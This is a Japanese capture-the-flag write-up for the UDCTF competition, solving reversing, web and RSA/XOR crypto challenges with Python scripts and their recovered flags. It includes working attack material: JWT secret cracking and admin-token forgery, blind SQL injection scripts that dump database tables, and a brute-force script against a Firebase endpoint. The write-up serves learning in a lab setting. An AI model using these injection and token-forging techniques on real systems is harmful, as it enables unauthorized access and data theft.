7379438307038400191927255947724462702161911899749410951243937264037905573862564887975130690407327618863623924296706413637868117956425659087547218452152621927889704113682533795977084238361103313888052766507987529075276310648848380951095376422731340131698162550580131745400180840398246207712841521155349702493926933327844275697749300293237740514289516948755523558502874954380259031211581657330241777711263364306980118260847664852618290776095327359950203741860781887417289877280772580529648591548441942639401075202981665948597541477979803851348575914902349877897763035092418375411896101150124865661631309144910206722660] UDCTF{Squ4re_R00t_r3duces_to_fact0riz4ti0n}
UDCTF{Squ4re_R00t_r3duces_to_fact0riz4ti0n}
Classic Checkers (REV)
checker.codeには以下のように書いてある。
(defun checkFlag (input) (if (not (= (length input) 34)) nil (if (not (string= (subseq input 0 6) "UDCTF{")) nil (if (not (= (char-code (char input 6)) 104)) nil (if (not (= (+ (char-code (char input 9)) 15) (- (char-code (char input 8)) (char-code (char input 7))))) nil (if (not (= (* (char-code (char input 7)) (char-code (char input 9))) 2652)) nil (if (not (= (- (char-code (char input 7)) (char-code (char input 9))) 1)) nil (if (not (string= (char input 10) (char input 14) ) ) nil (if (not (string= (char input 14) (char input 21) ) ) nil (if (not (string= (char input 10) (char input 25) ) ) nil (if (not (string= (char input 21) (char input 27) ) ) nil (if (not (= (ceiling (char-code (char input 10)) 2) (char-code (char input 12)) ) ) nil (if (not (= 952 (- (expt (char-code (char input 11)) 2) (expt (char-code (char input 13)) 2)) ) ) nil (if (not (string= (subseq input 14 21) (reverse "sy4wla_"))) nil (if (not (string= (subseq input 22 24) (subseq input 6 8))) nil (if (not (= (mod (char-code (char input 24)) 97) 3)) nil (if (not (string= (subseq input 14 16) (reverse (subseq input 26 28)))) nil (if (not (= (complex (char-code (char input 28)) (char-code (char input 29))) (conjugate (complex 76 -49)))) nil (if (not (= (lcm (char-code (char input 30)) (char-code (char input 31))) 6640)) nil (if (not (> (char-code (char input 30)) (char-code (char input 31)) ) ) nil (if (not (= (char-code (char input 32)) (- (+ (char-code (char input 31)) (char-code (char input 30))) (char-code (char input 24))))) nil (if (not (= (char-code (char input 33)) 125)) nil t)))))))))))))))))))))) (print (checkFlag "FLAGHERE"))
条件のわかる部分から、文字を当てはめていく。
インデックス30と31に関しては、LCMが6640なので、素因数分解する。
6640 = 2**4 * 5 * 83
インデックス30のASCIIコードの方が大きいので、インデックス30のASCIIコードは83、インデックス31のASCIIコードは80となる。
#!/usr/bin/env python3 flag = ['*'] * 34 flag1 = 'UDCTF{' flag[:6] = list(flag1) flag[6] = chr(104) for code in range(33, 127): x7 = code x9 = code - 1 if x7 * x9 == 2652: flag[7] = chr(x7) flag[9] = chr(x9) break flag[8] = chr(ord(flag[9]) + 15 + ord(flag[7])) found = False for x11 in range(33, 127): for x13 in range(33, 127): if x11 ** 2 - x13 ** 2 == 952: found = True flag[11] = chr(x11) flag[13] = chr(x13) break if found: break flag2 = 'sy4wla_' for i in range(len(flag2)): flag[20 - i] = flag2[i] flag[10] = flag[14] flag[21] = flag[14] flag[25] = flag[10] flag[12] = chr(ord(flag[10]) // 2 + 1) flag[22] = flag[6] flag[23] = flag[7] flag[24] = chr(97 + 3) flag[27] = flag[14] flag[26] = flag[15] flag[28] = chr(76) flag[29] = chr(49) flag[30] = chr(83) flag[31] = chr(80) flag[32] = chr(ord(flag[31]) + ord(flag[30]) - ord(flag[24])) flag[33] = chr(125) flag = ''.join(flag) print(flag)
UDCTF{h4v3_y0u_alw4ys_h4d_a_L1SP?}
Blue Hens (REV)
OPコードの仕様通りにスクリプトにして実行する。
#!/usr/bin/env python3 with open('flag.bluehens', 'r') as f: lines = f.read().splitlines() register = 0 counter = 0 number = 1 while True: codes = lines[number - 1].split(' ') blue = 0 hens = 0 blue_flg = True for code in codes: if blue_flg and code == 'blue': blue += 1 elif blue_flg and code == 'hens': hens += 1 blue_flg = False elif blue_flg == False and code == 'hens': hens += 1 else: print('**** Error ****') if blue == 1: register = hens number += 1 elif blue == 2: register += hens number += 1 elif blue == 3: register -= hens number += 1 elif blue == 4: register *= hens number += 1 elif blue == 5: number = hens elif blue == 6: number -= hens elif blue == 7: number += hens elif blue == 8: counter += hens number += 1 elif blue == 9: counter -= hens number += 1 elif blue == 10: if counter == 0: number += 2 else: number += 1 elif blue == 11: print(chr(register), end='') number += 1 if number > len(lines): break print()
UDCTF{fight_fight_fight_f0r_D3l4war3}
Super Admin (WEB)
Userボタンを押すと、クッキーのcredsに以下が設定されていた。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciIsImlhdCI6MTY5ODUzMTkxMn0.0pd-nKZ5Vb4smfdcgw5Sa6xr8SDuhmkb1-Tz_NETZtE
各要素をbase64デコードする。
$ echo eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 | base64 -d {"alg":"HS256","typ":"JWT"} $ echo eyJyb2xlIjoidXNlciIsImlhdCI6MTY5ODUzMTkxMn0= | base64 -d {"role":"user","iat":1698531912}
署名のパスワードをクラックする。
$ python3 jwt2john.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciIsImlhdCI6MTY5ODUzMTkxMn0.0pd-nKZ5Vb4smfdcgw5Sa6xr8SDuhmkb1-Tz_NETZtE > jwt.hash $ john --wordlist=/usr/share/wordlists/rockyou.txt jwt.hash Using default input encoding: UTF-8 Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status password1 (?) 1g 0:00:00:00 DONE (2023-10-29 07:40) 10.00g/s 81920p/s 81920c/s 81920C/s 123456..whitetiger Use the "--show" option to display all of the cracked passwords reliably Session completed.
https://jwt.io/でEncodedに以下を貼り付ける。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciIsImlhdCI6MTY5ODUzMTkxMn0.0pd-nKZ5Vb4smfdcgw5Sa6xr8SDuhmkb1-Tz_NETZtE
さらにSignatureのパスワードに password1 と入力すると、Signature Verifiedと表示された。
Payloadを以下にように変える。
{"role":"admin","iat":1698531912}
Encodedは以下のように変わる。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2OTg1MzE5MTJ9.UTtQdS1aZWy8D0NhfvY2w2ZZhqMFtF0iw10zvu9Kqug
これをクッキーのcredsに設定し、Go to Profileボタンをクリックすると、以下のように表示された。
Welcome, Admin! Here is your flag: UDCTF{k33p_17_51mp13_57up1d_15_4_l1e}
UDCTF{k33p_17_51mp13_57up1d_15_4_l1e}
Best Bathroom on Campus (WEB)
https://best-bathroom-default-rtdb.firebaseio.com/flag/UDCTF.jsonにアクセスすると、以下のレスポンスがある。
true
https://best-bathroom-default-rtdb.firebaseio.com/flag/UDCTF{.jsonにアクセスすると、以下のレスポンスがある。
true
https://best-bathroom-default-rtdb.firebaseio.com/flag/UDCTF}.jsonにアクセスすると、以下のレスポンスがある。
null
ブルートフォースで以下のURLの後ろに来るフラグを1文字ずつ求める。
https://best-bathroom-default-rtdb.firebaseio.com/flag/
#!/usr/bin/env python3 import requests import urllib base_url = 'https://best-bathroom-default-rtdb.firebaseio.com/flag/' flag = 'UDCTF{' while True: for code in range(32, 127): if code in [47]: continue url = base_url + urllib.parse.quote(flag + chr(code)) + '.json' print(url) r = requests.get(url) if r.text == 'true': flag += chr(code) break if flag[-1] == '}': break print(flag)
実行結果は以下の通り。
: : https://best-bathroom-default-rtdb.firebaseio.com/flag/UDCTF%7B1ce_L4br4t0ry_s3C0nd_Fl0or_b0y%27s_b4thr00mx.json https://best-bathroom-default-rtdb.firebaseio.com/flag/UDCTF%7B1ce_L4br4t0ry_s3C0nd_Fl0or_b0y%27s_b4thr00my.json https://best-bathroom-default-rtdb.firebaseio.com/flag/UDCTF%7B1ce_L4br4t0ry_s3C0nd_Fl0or_b0y%27s_b4thr00mz.json https://best-bathroom-default-rtdb.firebaseio.com/flag/UDCTF%7B1ce_L4br4t0ry_s3C0nd_Fl0or_b0y%27s_b4thr00m%7B.json https://best-bathroom-default-rtdb.firebaseio.com/flag/UDCTF%7B1ce_L4br4t0ry_s3C0nd_Fl0or_b0y%27s_b4thr00m%7C.json https://best-bathroom-default-rtdb.firebaseio.com/flag/UDCTF%7B1ce_L4br4t0ry_s3C0nd_Fl0or_b0y%27s_b4thr00m%7D.json UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's_b4thr00m}
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's_b4thr00m}
Why lie: Blind SQL (WEB)
https://bluehens-blindsql.chals.io/?guess=1%20union%20select%20*%20from%20numbers%20where%20value%20%3E%201にアクセスすると、以下のレスポンスがある。
Good guess!
https://bluehens-blindsql.chals.io/?guess=1%20union%20select%20*%20from%20numbers%20where%20value%20%3C%201000000000にアクセスすると、以下のレスポンスがある。
Nope
https://bluehens-blindsql.chals.io/?guess=1%20union%20select%20*%20from%20numbers%20where%20value%20%3C%2010000000000にアクセスすると、以下のレスポンスがある。
Good guess!
範囲を絞り、該当するvalueを割り出す。
https://bluehens-blindsql.chals.io/?guess=1%20union%20select%20*%20from%20numbers%20where%20value%20=%201192285233にアクセスすると、以下のレスポンスがある。
Good guess!
https://bluehens-blindsql.chals.io/?guess=1192285233にアクセスすると、以下のレスポンスがある。
Good guess!
https://bluehens-blindsql.chals.io/?guess=1192285233%20and%20(select%20count(*)%20from%20sqlite_master%20where%20type=%27table%27)%20=%201にアクセスすると、以下のレスポンスがある。
Nope
https://bluehens-blindsql.chals.io/?guess=1192285233%20and%20(select%20count(*)%20from%20sqlite_master%20where%20type=%27table%27)%20=%202にアクセスすると、以下のレスポンスがある。
Good guess!
tableは2つあるようだ。
https://bluehens-blindsql.chals.io/?guess=1192285233%20and%20(select%20name%20from%20sqlite_master%20where%20type=%27table%27%20limit%200,%201)%20=%20%27numbers%27にアクセスすると、以下のレスポンスがある。
Nope
https://bluehens-blindsql.chals.io/?guess=1192285233%20and%20(select%20name%20from%20sqlite_master%20where%20type=%27table%27%20limit%201,%201)%20=%20%27numbers%27にアクセスすると、以下のレスポンスがある。
Good guess!
1つ目のテーブルのsqlを割り出す。
#!/usr/bin/env python3 import requests base_url = "https://bluehens-blindsql.chals.io/?guess=1192285233%20and%20(select%20length(sql)%20from%20sqlite_master%20where%20type=%27table%27%20limit%201) = " for i in range(1, 50): url = base_url + str(i) r = requests.get(url) res = r.text.splitlines()[-1].split('>')[1] if res == 'Good guess!': print('[+] The sql length is', i) sqllen = i break base_url = "https://bluehens-blindsql.chals.io/?guess=1192285233%20and%20substr((select%20sql%20from%20sqlite_master%20where%20type=%27table%27%20limit%201)," sql = '' for i in range(1, sqllen + 1): for x in range(32, 127): url = base_url + str(i) + ",1)='" + chr(x) + "'" r = requests.get(url) res = r.text.splitlines()[-1].split('>')[1] if res == 'Good guess!': sql += chr(x) print('[+] The sql is', sql) break print('[*] The sql is', sql)
実行結果は以下の通り。
[+] The sql length is 31 [+] The sql is C [+] The sql is CR [+] The sql is CRE [+] The sql is CREA [+] The sql is CREAT [+] The sql is CREATE [+] The sql is CREATE [+] The sql is CREATE T [+] The sql is CREATE TA [+] The sql is CREATE TAB [+] The sql is CREATE TABL [+] The sql is CREATE TABLE [+] The sql is CREATE TABLE [+] The sql is CREATE TABLE s [+] The sql is CREATE TABLE se [+] The sql is CREATE TABLE sec [+] The sql is CREATE TABLE secr [+] The sql is CREATE TABLE secre [+] The sql is CREATE TABLE secret [+] The sql is CREATE TABLE secret [+] The sql is CREATE TABLE secret ( [+] The sql is CREATE TABLE secret (f [+] The sql is CREATE TABLE secret (fl [+] The sql is CREATE TABLE secret (fla [+] The sql is CREATE TABLE secret (flag [+] The sql is CREATE TABLE secret (flag [+] The sql is CREATE TABLE secret (flag t [+] The sql is CREATE TABLE secret (flag te [+] The sql is CREATE TABLE secret (flag tex [+] The sql is CREATE TABLE secret (flag text [+] The sql is CREATE TABLE secret (flag text) [*] The sql is CREATE TABLE secret (flag text)
次に同様にsecretテーブルからflagを割り出す。
#!/usr/bin/env python3 import requests base_url = "https://bluehens-blindsql.chals.io/?guess=1192285233%20and%20(select%20length(flag)%20from%20secret) = " for i in range(1, 50): url = base_url + str(i) r = requests.get(url) res = r.text.splitlines()[-1].split('>')[1] if res == 'Good guess!': print('[+] The flag length is', i) flaglen = i break base_url = "https://bluehens-blindsql.chals.io/?guess=1192285233%20and%20substr((select%20flag%20from%20secret)," flag = '' for i in range(1, flaglen + 1): for x in range(32, 127): url = base_url + str(i) + ",1)='" + chr(x) + "'" r = requests.get(url) res = r.text.splitlines()[-1].split('>')[1] if res == 'Good guess!': flag += chr(x) print('[+] The flag is', flag) break print('[*] The flag is', flag)
実行結果は以下の通り。
[+] The flag length is 17 [+] The flag is U [+] The flag is UD [+] The flag is UDC [+] The flag is UDCT [+] The flag is UDCTF [+] The flag is UDCTF{ [+] The flag is UDCTF{l [+] The flag is UDCTF{l1 [+] The flag is UDCTF{l1k [+] The flag is UDCTF{l1k3 [+] The flag is UDCTF{l1k3_ [+] The flag is UDCTF{l1k3_a [+] The flag is UDCTF{l1k3_a_ [+] The flag is UDCTF{l1k3_a_b [+] The flag is UDCTF{l1k3_a_b4 [+] The flag is UDCTF{l1k3_a_b4t [+] The flag is UDCTF{l1k3_a_b4t} [*] The flag is UDCTF{l1k3_a_b4t}
UDCTF{l1k3_a_b4t}
Greatest Hits 1 of 4 (CRYPTO, BABY)
CyberChefで以下の順でデコードする。
・From Binary ・From Base32 ・From Base64 ・From Base62
デコードした結果、以下のURLになった。
https://gist.github.com/AndyNovo/cd42f0f6daae3ef9c9a598a79fe3b877
ここにアクセスすると、flag1of4.txtにフラグが書いてあった。
UDCTF{D34r_Cyb3r_Ch3f_Th4nks_f0r_everyth1ng}
Greatest Hits 2 of 4 (CRYPTO, BABY)
Part 1でアクセスしたURLに以下のコードと、出力結果がある。
[rsa.py] from Crypto.Util.number import * p=getPrime(1024) q=getPrime(1024) n=p*q e1=32 e2=94 msg=bytes_to_long("REDACTED") assert(pow(msg,2) < n) c1 = pow(msg, e1, n) c2 = pow(msg, e2, n) print(n) print(e1) print(e2) print(c1) print(c2) rsaout.txt 15144989296069059933372368453196092175005161975349151110345314566785160131088640293080496647831336241835434081246752372095089223274410617149601529995353586979709767320781773241635911841825135157128620635284850556358212336804356913383250552153118005157608892746468253056994929497147176358510660250974046147584489593314250043332900225627695013699452589204281775937461626931870469970564649337891804670484615877731064389199146553155645996166903057997780769847954473558252319887360004797752922471164238094762917170732419058459198871816368754874928563582062094607146743861963241102686280889624636580265012154494857871226911 32 94 517413713703886999866857886363089094585257050613499021392236739949207714015445698823055234855661713319078211477553629447153099784179447532323740595057178898139959674381355432131055787089201673781698752057672521217038516832753572594045829378268006522196608125682968252235804171902500675561571516482830716057356093346644739755000641419389456649384154636696468100735075639775740773984117668523785494430624107703773927953688140653884319491595701619752757483259322185639861570200460175036940484201361523531829151771132059047908439112074722779866239565825707838090161372153338024174748440497243107864663782108641727771659 7627448403143228380990811828784190441589966806784538493012623116575366382931836531487460665746937844089811800210162413422176546183916362252942569359187329261606901744873414894672206518833504277712248120517227097337821671357183002903689123275299969496743046843235865472598002895668376113637844709030956945481612135136663699655327584977008477587437014970931004029432308882904616641276931607404737262279319635052041442201857436898171408177118684300765925831306704477989772422231625570934627171304088385754161129883791893955034648200851254688716049371226939666530556140959866437156338956068301001303202802889970914365861
e1とe2は互いに素でないので、以下のように考える。
m**2 = M, _e1 = 16, _e2 = 47とすると、以下のようになる。
pow(M, _e1, n) == c1 pow(M, _e2, n) == c2
この_e1, _e2に対して、Common Modulus Attackで復号すると、Mが得られる。このMの平方根を取り、文字にすれば元のメッセージを復号できる。
#!/usr/bin/env python3 import gmpy2 from Crypto.Util.number import * def commom_modulus_attack(c1, c2, e1, e2, n): gcd, s1, s2 = gmpy2.gcdext(e1, e2) if s1 < 0: s1 = -s1 c1 = gmpy2.invert(c1, n) elif s2 < 0: s2 = -s2 c2 = gmpy2.invert(c2, n) v = pow(c1, s1, n) w = pow(c2, s2, n) x = (v*w) % n return x n = 15144989296069059933372368453196092175005161975349151110345314566785160131088640293080496647831336241835434081246752372095089223274410617149601529995353586979709767320781773241635911841825135157128620635284850556358212336804356913383250552153118005157608892746468253056994929497147176358510660250974046147584489593314250043332900225627695013699452589204281775937461626931870469970564649337891804670484615877731064389199146553155645996166903057997780769847954473558252319887360004797752922471164238094762917170732419058459198871816368754874928563582062094607146743861963241102686280889624636580265012154494857871226911 e1 = 32 e2 = 94 _e1 = e1 // 2 _e2 = e2 // 2 c1 = 517413713703886999866857886363089094585257050613499021392236739949207714015445698823055234855661713319078211477553629447153099784179447532323740595057178898139959674381355432131055787089201673781698752057672521217038516832753572594045829378268006522196608125682968252235804171902500675561571516482830716057356093346644739755000641419389456649384154636696468100735075639775740773984117668523785494430624107703773927953688140653884319491595701619752757483259322185639861570200460175036940484201361523531829151771132059047908439112074722779866239565825707838090161372153338024174748440497243107864663782108641727771659 c2 = 7627448403143228380990811828784190441589966806784538493012623116575366382931836531487460665746937844089811800210162413422176546183916362252942569359187329261606901744873414894672206518833504277712248120517227097337821671357183002903689123275299969496743046843235865472598002895668376113637844709030956945481612135136663699655327584977008477587437014970931004029432308882904616641276931607404737262279319635052041442201857436898171408177118684300765925831306704477989772422231625570934627171304088385754161129883791893955034648200851254688716049371226939666530556140959866437156338956068301001303202802889970914365861 M = commom_modulus_attack(c1, c2, _e1, _e2, n) assert pow(M, _e1, n) == c1 assert pow(M, _e2, n) == c2 m, success = gmpy2.iroot(M, 2) assert success flag = long_to_bytes(m).decode() print(flag)
復号結果は以下の通り。
https://gist.github.com/AndyNovo/aaa4bf206eaaa26dc7ccdbf5254236e0
ここにアクセスすると、flag2of4.txtにフラグが書いてあった。
UDCTF{l4rg3_int3ger_sqrt_w1th0ut_fl04ts}
Greatest Hits 3 of 4 (CRYPTO, BABY)
Part 2でアクセスしたURLに以下のコードがある。
flaglink="REDACTED" def xor(msg, key): o = '' for i in range(len(msg)): o += chr(ord(msg[i]) ^ ord(key[i % len(key)])) return o clue="https://gist.github.com/AndyNovo" import os key = os.urandom(len(clue)) assert(flaglink.count(clue) > 0) print(xor(flaglink, key).encode('hex')) #98edbf5c8dd29e9bbc57d0e2990e4e692efb81c2318c69c626d7ea42f2efc70fece4ae5c89c7999fef1e8bac99021d7266bc9cde3cd97b9a2adaeb08dea1ca0582eaac13ced7dfdbad1194b1c60f5d372eeec29832ca20d12a85b545f9f69b1aaeb6ec4cd4
平文はclueの文字列が含まれているので、その位置をブルートフォースし、鍵を求めながら、復号する。その際printableな文字列に復号できるものをすべて出力する。
#!/usr/bin/env python3 def is_printable(s): for c in s: if ord(c) < 10 or ord(c) > 126: return False return True enc = '98edbf5c8dd29e9bbc57d0e2990e4e692efb81c2318c69c626d7ea42f2efc70fece4ae5c89c7999fef1e8bac99021d7266bc9cde3cd97b9a2adaeb08dea1ca0582eaac13ced7dfdbad1194b1c60f5d372eeec29832ca20d12a85b545f9f69b1aaeb6ec4cd4' enc = bytes.fromhex(enc) clue = b"https://gist.github.com/AndyNovo" for i in range(len(enc) - len(clue) + 1): key = [-1] * len(clue) for j in range(len(clue)): key[(i+j) % len(clue)] = enc[i+j] ^ clue[j] msg = '' for i in range(len(enc)): msg += chr(enc[i] ^ key[i % len(key)]) if is_printable(msg): print(msg)
復号結果は以下の通り。
lhytpet>|f<'sx}|!3uio{q3a"@$H7Ceahttps://gist.github.com/AndyNovoj;3`5~m xt,yn"!&63l=8$mp#C.pZ3*d) The last stage of the problem is at https://gist.github.com/AndyNovo/d2415028d31f572ff9ec03bf95fb3605★ i=<`$l24?!-'7tqpcz.uB(-nB=)hD:yz4-` y50lhvi7x"k+=3iO}?2N0("https://gist.github.com/AndyNovoO#%o_fop} Yog;3v{o>!- +/t7t}68-%&z#1crW3c-fv;7c|kmhvn+#',<:+$ p4&/0)^>iChttps://gist.github.com/AndyNovo44+j @4{;7u2z>i#:,u=9ia+/ah*xa}io`z4=j;3`5~m xt,yn"!&63l=8$mp#C.pZ3https://gist.github.com/AndyNovo(+n Y-<'7q13+ik46rgpg|72v$gtc?pFe}%[-$-'3d67x 0z6~4k/;*.{qu(o2qI3(QC*/https://gist.github.com/AndyNovo7n
以下のURLにアクセスしてみる。
https://gist.github.com/AndyNovo/d2415028d31f572ff9ec03bf95fb3605
すると、flag3of4.txtにフラグが書いてあった。
UDCTF{x0r_and_I_g0_w4y_back}
Greatest Hits 4 of 4 (CRYPTO, BABY)
Part 3でアクセスしたURLに以下のコードがある。
flag="REDACTED" import random import time print(time.time()) #1697043249.53 time.sleep(random.randint(0, 50)) random.seed(int(time.time())) ct="" for c in flag: ct += chr(random.randint(0,255) ^ ord(c)) print(ct.encode('hex')) #a0469bbb0b3a4f06306739032244b0c5119ba66a0d3b5a2322acdd7070bf85690cdf8573212c1b927e0ba624
コードはPython2のものであることに気を付けて、seedのブルートフォースで復号する。
#!/usr/bin/env python2 import random import time ct = 'a0469bbb0b3a4f06306739032244b0c5119ba66a0d3b5a2322acdd7070bf85690cdf8573212c1b927e0ba624' ct = ct.decode('hex') for seed in range(1697043249, 1697043249 + 50): random.seed(seed) flag = '' for c in ct: flag += chr(random.randint(0, 255) ^ ord(c)) if flag.startswith('UDCTF'): print(flag) break
UDCTF{4hh_m3m0r1es_th4t5_wh4t_1ts_4ll_about}
RSA School 1st Grade (CRYPTO, BABY)
RSA暗号で、p, n, e, ctがわかっているので、qも割り出せる。あとは通常通り復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * with open('output.txt', 'r') as f: params = f.read().splitlines() p = int(params[0]) n = int(params[1]) e = int(params[2]) ct = int(params[3]) q = n // p phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(ct, d, n) flag = long_to_bytes(m).decode() print(flag)
UDCTF{y3a_b0i_b4by_RSA!}
RSA School 2nd Grade (CRYPTO, BABY)
nをfactordbで素因数分解する。
n = 51700365364366863879483895851106199085813538441759 * 3211696652397139991266469757475273013994441374637143
あとは通常通り復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * with open('output.txt', 'r') as f: params = f.read().splitlines() n = int(params[0]) e = int(params[1]) ct = int(params[2]) p = 51700365364366863879483895851106199085813538441759 q = 3211696652397139991266469757475273013994441374637143 assert p * q == n phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(ct, d, n) flag = long_to_bytes(m).decode() print(flag)
UDCTF{pr1m3_f4ct0r_the1f!}
RSA School 3rd Grade (CRYPTO, BABY)
Common Modulus Attackで復号する。
#!/usr/bin/env python3 import gmpy2 from Crypto.Util.number import * def commom_modulus_attack(c1, c2, e1, e2, n): gcd, s1, s2 = gmpy2.gcdext(e1, e2) if s1 < 0: s1 = -s1 c1 = gmpy2.invert(c1, n) elif s2 < 0: s2 = -s2 c2 = gmpy2.invert(c2, n) v = pow(c1, s1, n) w = pow(c2, s2, n) x = (v*w) % n return x with open('output.txt', 'r') as f: params = f.read().splitlines() n = int(params[0]) e1 = int(params[1]) e2 = int(params[2]) c1 = int(params[3]) c2 = int(params[4]) m = commom_modulus_attack(c1, c2, e1, e2, n) flag = long_to_bytes(m).decode() print(flag)
UDCTF{3uc1id_th4_60at}
RSA School 4th Grade (CRYPTO, BABY)
your_e, your_d, nからp, qを求める。あとは通常通り復号する。
#!/usr/bin/env python3 from Crypto.PublicKey import RSA from Crypto.Util.number import * with open('output.txt', 'r') as f: params = f.read().splitlines() your_e = int(params[0]) your_d = int(params[1]) n = int(params[2]) e = int(params[3]) ct = int(params[4]) key = RSA.construct((n, your_e, your_d)) p = key.p q = key.q phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(ct, d, n) flag = long_to_bytes(m).decode() print(flag)
UDCTF{m0d_mult1pl1c4tiv3_inv3r5e_nd_57uff}
RSA School 5th Grade (CRYPTO, BABY)
eが小さいので、Low Public-Exponent Attackで復号する。
#!/usr/bin/env python3 import gmpy2 from Crypto.Util.number import * with open('output.txt', 'r') as f: params = f.read().splitlines() N = int(params[0]) e = int(params[1]) ct = int(params[2]) m, success = gmpy2.iroot(ct, e) assert success == True flag = long_to_bytes(m).decode() print(flag)
UDCTF{0k_m4yb3_d0nt_u5e_e_3qu4l5_3}
RSA School 6th Grade (CRYPTO, BABY)
e=3に対して、異なるN, ctのペアが3つあるので、Hastad's Broadcast Attackで復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * from sympy.ntheory.modular import crt from gmpy2 import iroot with open('output.txt', 'r') as f: params = f.read().splitlines() N1 = int(params[0]) N2 = int(params[1]) N3 = int(params[2]) e = int(params[3]) ct1 = int(params[4]) ct2 = int(params[5]) ct3 = int(params[6]) ns = [N1, N2, N3] cs = [ct1, ct2, ct3] e = 3 me, _ = crt(ns, cs) m, success = iroot(me, e) assert success flag = long_to_bytes(m).decode() print(flag)
UDCTF{ch1n3se_r3m4ind3r_th30r3m_f0r_th4_w1n!}
RSA School 7th Grade (CRYPTO, BABY)
比較的pとqは近い数と考えられるので、Fermat法で素因数分解する。あとは通常通り復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * def isqrt(n): x = n y = (x + n // x) // 2 while y < x: x = y y = (x + n // x) // 2 return x def fermat(n): x = isqrt(n) + 1 y = isqrt(x * x - n) while True: w = x * x - n - y * y if w == 0: break elif w > 0: y += 1 else: x += 1 return x - y, x + y with open('output.txt', 'r') as f: params = f.read().splitlines() N = int(params[0]) e = int(params[1]) ct = int(params[2]) p, q = fermat(N) phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(ct, d, N) flag = long_to_bytes(m).decode() print(flag)
UDCTF{F3rma7_c4n_sur3_fac70r!}
RSA School 8th Grade (CRYPTO, BABY)
Fermat法で素因分解して復号する。7th Gradeと同じスクリプトを使用する。
#!/usr/bin/env python3 from Crypto.Util.number import * def isqrt(n): x = n y = (x + n // x) // 2 while y < x: x = y y = (x + n // x) // 2 return x def fermat(n): x = isqrt(n) + 1 y = isqrt(x * x - n) while True: w = x * x - n - y * y if w == 0: break elif w > 0: y += 1 else: x += 1 return x - y, x + y with open('output.txt', 'r') as f: params = f.read().splitlines() N = int(params[0]) e = int(params[1]) ct = int(params[2]) p, q = fermat(N) phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(ct, d, N) flag = long_to_bytes(m).decode() print(flag)
UDCTF{4n_RSA_5ch0ol_gr4dua73!!}
Appetizers (CRYPTO)
以下のコードと出力結果がある。
[knapsack.py] #Subset Sum Problem #https://imgs.xkcd.com/comics/np_complete.png import random choices = list(set([random.randint(100000,1000000000) for _ in range(30)])) random.shuffle(choices) winners = choices[:15] target = sum(winners) winners.sort() flag = "UDCTF{%s}" % ("_".join(map(str,winners))) #print(flag) choices.sort() print(choices) print(target) [output.txt] [19728964, 30673077, 137289540, 195938621, 207242611, 237735979, 298141799, 302597011, 387047012, 405520686, 424852916, 461998372, 463977415, 528505766, 557896298, 603269308, 613528675, 621228168, 654758801, 670668388, 741571487, 753993381, 763314787, 770263388, 806543382, 864409584, 875042623, 875651556, 918697500, 946831967] 7627676296
30個中15個を選択して結果を出しているので、ブルートフォースでwinnersの合計値が合うものを探す。
#!/usr/bin/env python3 import itertools choices = [19728964, 30673077, 137289540, 195938621, 207242611, 237735979, 298141799, 302597011, 387047012, 405520686, 424852916, 461998372, 463977415, 528505766, 557896298, 603269308, 613528675, 621228168, 654758801, 670668388, 741571487, 753993381, 763314787, 770263388, 806543382, 864409584, 875042623, 875651556, 918697500, 946831967] target = 7627676296 indexes = list(range(30)) for idx in itertools.combinations(indexes, 15): winners = [] for i in idx: winners.append(choices[i]) if sum(winners) == target: winners.sort() flag = "UDCTF{%s}" % ("_".join(map(str, winners))) print(flag) break
UDCTF{19728964_30673077_137289540_195938621_237735979_302597011_463977415_603269308_654758801_670668388_763314787_806543382_875651556_918697500_946831967}
unbreakable (CRYPTO)
enc.pyは以下のように書いてある。
import hashlib from Crypto.Cipher import AES from Crypto.Util.Padding import pad import os key = os.urandom(16) with open("flag.txt","r") as f: flag = f.read().strip().encode() iv = os.urandom(AES.block_size) ct = AES.new(key,AES.MODE_CBC,iv).encrypt(pad(flag,AES.block_size)) with open("flag.enc","wb") as f: f.write(iv + ct)
「removed password from repo」のCommitを見ると以下のようになっている。
key = hashlib.sha256(b"tasciewapeoiu").digest()
このkeyを使って復号する。
#!/usr/bin/env python3 import hashlib from Crypto.Cipher import AES from Crypto.Util.Padding import unpad with open('flag.enc', 'rb') as f: ct = f.read() iv = ct[:16] ct = ct[16:] key = hashlib.sha256(b"tasciewapeoiu").digest() cipher = AES.new(key,AES.MODE_CBC,iv) flag = unpad(cipher.decrypt(ct), 16).decode() print(flag)
UDCTF{N0th1ng_pr0t3cts_4gainst_5l0ppiness}
Hide n Seek (CRYPTO)
LOLisCapatlized.wavを聞くと、モールス信号になっている。
https://morsecode.world/international/decoder/audio-decoder-adaptive.htmlでデコードする。
GIVEMETHEFLAGLOL
ファイル名から考えると、LOLのみ大文字にする必要がある。これをパスフレーズとして、steghideで秘密データを抽出する。
$ steghide extract -sf STEG_O_SAURS.jpeg -p givemetheflagLOL wrote extracted data to "flaglol.txt". $ cat flaglol.txt UDCTF{01111001 01000000 01010101 01011111 01100011 01000001 01011110 01101110 01011111 01101000 00100001 01100100 00110011 00111111 01011111 01101100 01001111 01101100 01011111 01110011 01010100 00110011 01000111 01101111}
{} の中の2進数をデコードする。
